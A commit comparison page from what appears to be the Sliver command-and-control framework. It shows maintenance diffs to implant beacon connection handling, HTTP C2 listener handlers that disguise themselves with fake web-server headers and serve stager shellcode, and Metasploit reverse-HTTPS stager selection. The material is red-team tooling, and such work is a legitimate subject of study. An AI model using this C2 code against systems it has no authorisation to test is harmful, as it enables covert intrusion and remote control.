Compare commits

...
Author SHA1 Message Date
moloch-- e27e030431 Only add cache header to responses that need it 2022-09-29 09:01:01 -07:00
Ronan Kervella 4738bf229c Merge pull request #922 from jamesgol/dns-beacon
Ensure beacon tries to connect the same as session
2022-09-28 16:45:14 -07:00
Joe c0a5a06efc Merge pull request #921 from pb376/fix-mtls-conn-close
Avoid closing nil tls connection #919
2022-09-28 17:53:24 -05:00
James Golovich 97ff802a40 Ensure beacon tries to connect the same as session 2022-09-28 15:41:20 -07:00
pb376 106c7f0427 Avoid closing nil tls connection #919 2022-09-28 15:12:40 -05:00
Joe 37a46a21e0 Merge pull request #918 from BishopFox/fix/stager-https
Add support for HTTPS stagers
2022-09-28 11:23:46 -05:00
Joe 060d1c40fd Merge pull request #723 from BishopFox/feature/ssh-kerberos
Add kerberos support for SSH client
2022-09-28 11:23:26 -05:00
rkervella 2fe9b56dc5 Add support for HTTPS stagers 2022-09-28 07:36:27 -07:00
8 changed files with 47 additions and 57 deletions

No files matched your search

+7 -5
View File
@@ -211,11 +211,13 @@ func mtlsBeacon(uri *url.URL) *Beacon {
return mtls.WriteEnvelope(conn, envelope)
},
Close: func() error {
err = conn.Close()
if err != nil {
return err
if conn != nil {
err = conn.Close()
if err != nil {
return err
}
conn = nil
}
conn = nil
return nil
},
Cleanup: func() error {
@@ -341,7 +343,7 @@ func dnsBeacon(uri *url.URL) *Beacon {
ActiveC2: uri.String(),
Init: func() error {
opts := dnsclient.ParseDNSOptions(uri)
client, err = dnsclient.DNSStartSession(uri.Host, opts)
client, err = dnsclient.DNSStartSession(uri.Hostname(), opts)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[beacon] dns connection error %s", err)
+29 -19
View File
@@ -28,7 +28,6 @@ import (
"errors"
"fmt"
"io"
"io/ioutil"
insecureRand "math/rand"
"net"
"net/http"
@@ -79,10 +78,10 @@ var (
// HTTPSession - Holds data related to a sliver c2 session
type HTTPSession struct {
ID string
ImplanConn *core.ImplantConnection
CipherCtx *cryptography.CipherContext
Started time.Time
ID string
ImplantConn *core.ImplantConnection
CipherCtx *cryptography.CipherContext
Started time.Time
}
// HTTPSessions - All currently open HTTP sessions
@@ -147,7 +146,7 @@ type SliverHTTPC2 struct {
func (s *SliverHTTPC2) getServerHeader() string {
if serverVersionHeader == "" {
switch insecureRand.Intn(1) {
switch insecureRand.Intn(2) {
case 0:
serverVersionHeader = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(48))
default:
@@ -172,7 +171,9 @@ func (s *SliverHTTPC2) LoadC2Config() *configs.HTTPC2Config {
}
// StartHTTPListener - Start an HTTP(S) listener, this can be used to start both
// HTTP/HTTPS depending on the caller's conf
//
// HTTP/HTTPS depending on the caller's conf
//
// TODO: Better error handling, configurable ACME host/port
func StartHTTPListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
httpLog.Infof("Starting https listener on '%s'", conf.Addr)
@@ -360,6 +361,10 @@ func (s *SliverHTTPC2) router() *mux.Router {
return router
}
func (s *SliverHTTPC2) noCacheHeader(resp http.ResponseWriter) {
resp.Header().Add("Cache-Control", "no-store, no-cache, must-revalidate")
}
// This filters requests that do not have a valid nonce
func (s *SliverHTTPC2) filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
nonce, err := getNonceFromURL(req.URL)
@@ -479,6 +484,7 @@ func (s *SliverHTTPC2) websiteContentHandler(resp http.ResponseWriter, req *http
return err
}
resp.Header().Set("Content-type", contentType)
s.noCacheHeader(resp)
resp.Write(content)
return nil
}
@@ -507,7 +513,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
s.defaultHandler(resp, req)
return
}
body, err := ioutil.ReadAll(req.Body)
body, err := io.ReadAll(req.Body)
if err != nil {
httpLog.Errorf("Failed to read body %s", err)
s.defaultHandler(resp, req)
@@ -563,7 +569,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
return
}
httpSession.CipherCtx = cryptography.NewCipherContext(sKey)
httpSession.ImplanConn = core.NewImplantConnection("http(s)", getRemoteAddr(req))
httpSession.ImplantConn = core.NewImplantConnection("http(s)", getRemoteAddr(req))
s.HTTPSessions.Add(httpSession)
httpLog.Infof("Started new session with http session id: %s", httpSession.ID)
@@ -580,6 +586,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
Secure: false,
HttpOnly: true,
})
s.noCacheHeader(resp)
resp.Write(encoder.Encode(responseCiphertext))
}
@@ -590,7 +597,7 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
s.defaultHandler(resp, req)
return
}
httpSession.ImplanConn.UpdateLastMessage()
httpSession.ImplantConn.UpdateLastMessage()
plaintext, err := s.readReqBody(httpSession, resp, req)
if err != nil {
@@ -609,16 +616,16 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
resp.WriteHeader(http.StatusAccepted)
handlers := sliverHandlers.GetHandlers()
if envelope.ID != 0 {
httpSession.ImplanConn.RespMutex.RLock()
defer httpSession.ImplanConn.RespMutex.RUnlock()
if resp, ok := httpSession.ImplanConn.Resp[envelope.ID]; ok {
httpSession.ImplantConn.RespMutex.RLock()
defer httpSession.ImplantConn.RespMutex.RUnlock()
if resp, ok := httpSession.ImplantConn.Resp[envelope.ID]; ok {
resp <- envelope
}
} else if handler, ok := handlers[envelope.Type]; ok {
respEnvelope := handler(httpSession.ImplanConn, envelope.Data)
respEnvelope := handler(httpSession.ImplantConn, envelope.Data)
if respEnvelope != nil {
go func() {
httpSession.ImplanConn.Send <- respEnvelope
httpSession.ImplantConn.Send <- respEnvelope
}()
}
}
@@ -631,13 +638,13 @@ func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request)
s.defaultHandler(resp, req)
return
}
httpSession.ImplanConn.UpdateLastMessage()
httpSession.ImplantConn.UpdateLastMessage()
// We already know we have a valid nonce because of the middleware filter
nonce, _ := getNonceFromURL(req.URL)
_, encoder, _ := encoders.EncoderFromNonce(nonce)
select {
case envelope := <-httpSession.ImplanConn.Send:
case envelope := <-httpSession.ImplantConn.Send:
resp.WriteHeader(http.StatusOK)
envelopeData, _ := proto.Marshal(envelope)
ciphertext, err := httpSession.CipherCtx.Encrypt(envelopeData)
@@ -645,6 +652,7 @@ func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request)
httpLog.Errorf("Failed to encrypt message %s", err)
ciphertext = []byte{}
}
s.noCacheHeader(resp)
resp.Write(encoder.Encode(ciphertext))
case <-req.Context().Done():
httpLog.Debug("Poll client hang up")
@@ -652,6 +660,7 @@ func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request)
case <-time.After(s.getServerPollTimeout()):
httpLog.Debug("Poll time out")
resp.WriteHeader(http.StatusNoContent)
s.noCacheHeader(resp)
resp.Write([]byte{})
}
}
@@ -665,7 +674,7 @@ func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseW
return nil, ErrInvalidEncoder
}
body, err := ioutil.ReadAll(&io.LimitedReader{
body, err := io.ReadAll(&io.LimitedReader{
R: req.Body,
N: int64(s.ServerConf.MaxRequestLength),
})
@@ -723,6 +732,7 @@ func (s *SliverHTTPC2) stagerHander(resp http.ResponseWriter, req *http.Request)
httpLog.Debug("Stager request")
if len(s.SliverStage) != 0 {
httpLog.Infof("Received staging request from %s", getRemoteAddr(req))
s.noCacheHeader(resp)
resp.Write(s.SliverStage)
httpLog.Infof("Serving sliver shellcode (size %d) to %s", len(s.SliverStage), getRemoteAddr(req))
resp.WriteHeader(http.StatusOK)
@@ -735,7 +745,7 @@ func (s *SliverHTTPC2) getHTTPSession(req *http.Request) *HTTPSession {
for _, cookie := range req.Cookies() {
httpSession := s.HTTPSessions.Get(cookie.Value)
if httpSession != nil {
httpSession.ImplanConn.UpdateLastMessage()
httpSession.ImplantConn.UpdateLastMessage()
return httpSession
}
}
-25
View File
@@ -373,31 +373,6 @@ func StartPersistentJobs(cfg *configs.ServerConfig) error {
return nil
}
// checkInterface verifies if an IP address
// is attached to an existing network interface
func checkInterface(a string) bool {
interfaces, err := net.Interfaces()
if err != nil {
return false
}
for _, i := range interfaces {
addresses, err := i.Addrs()
if err != nil {
return false
}
for _, netAddr := range addresses {
addr, err := net.ResolveTCPAddr("tcp", netAddr.String())
if err != nil {
return false
}
if addr.IP.String() == a {
return true
}
}
}
return false
}
// Fuck'in Go - https://stackoverflow.com/questions/30815244/golang-https-server-passing-certfile-and-kyefile-in-terms-of-byte-array
// basically the same as server.ListenAndServerTLS() but we can pass in byte slices instead of file paths
func listenAndServeTLS(srv *http.Server, certPEMBlock, keyPEMBlock []byte) error {
+1 -1
View File
@@ -187,7 +187,7 @@ func acceptWGSliverConnections(ln net.Listener) {
func handleWGSliverConnection(conn net.Conn) {
wgLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())
implantConn := core.NewImplantConnection("wg", fmt.Sprintf("%s", conn.RemoteAddr()))
implantConn := core.NewImplantConnection("wg", conn.RemoteAddr().String())
implantConn.UpdateLastMessage()
defer func() {
implantConn.Cleanup()
+4 -2
View File
@@ -135,7 +135,9 @@ type NameValueProbability struct {
// .txt = rsakey
// .css = start
// .php = session
// .js = poll
//
// .js = poll
//
// .png = stop
// .woff = sliver shellcode
type HTTPC2ImplantConfig struct {
@@ -233,7 +235,7 @@ var (
"PHPSESSID", "SID", "SSID", "APISID", "csrf-state", "AWSALBCORS",
},
Headers: []NameValueProbability{
{Name: "Cache-Control", Value: "no-store, no-cache, must-revalidate", Probability: 100},
// {Name: "Cache-Control", Value: "no-store, no-cache, must-revalidate", Probability: 100},
},
},
ImplantConfig: &HTTPC2ImplantConfig{
+2 -3
View File
@@ -21,7 +21,6 @@ package configs
import (
"encoding/hex"
"encoding/json"
"io/ioutil"
insecureRand "math/rand"
"os"
"path"
@@ -152,7 +151,7 @@ func (c *ServerConfig) Save() error {
return err
}
serverConfigLog.Infof("Saving config to %s", configPath)
err = ioutil.WriteFile(configPath, data, 0600)
err = os.WriteFile(configPath, data, 0600)
if err != nil {
serverConfigLog.Errorf("Failed to write config %s", err)
}
@@ -240,7 +239,7 @@ func GetServerConfig() *ServerConfig {
configPath := GetServerConfigPath()
config := getDefaultServerConfig()
if _, err := os.Stat(configPath); !os.IsNotExist(err) {
data, err := ioutil.ReadFile(configPath)
data, err := os.ReadFile(configPath)
if err != nil {
serverConfigLog.Errorf("Failed to read config file %s", err)
return config
+1
View File
@@ -60,6 +60,7 @@ var (
"meterpreter/reverse_http": true,
"meterpreter/reverse_https": true,
"custom/reverse_winhttp": true,
"custom/reverse_winhttps": true,
"custom/reverse_tcp": true,
},
"linux": {
+3 -2
View File
@@ -166,10 +166,11 @@ func (rpc *Server) MsfStage(ctx context.Context, req *clientpb.MsfStagerReq) (*c
case clientpb.StageProtocol_TCP:
payload = "meterpreter/reverse_tcp"
case clientpb.StageProtocol_HTTP:
fallthrough
case clientpb.StageProtocol_HTTPS:
payload = "custom/reverse_winhttp"
uri = generateCallbackURI()
case clientpb.StageProtocol_HTTPS:
payload = "custom/reverse_winhttps"
uri = generateCallbackURI()
default:
return MSFStage, errors.New("protocol not supported")
}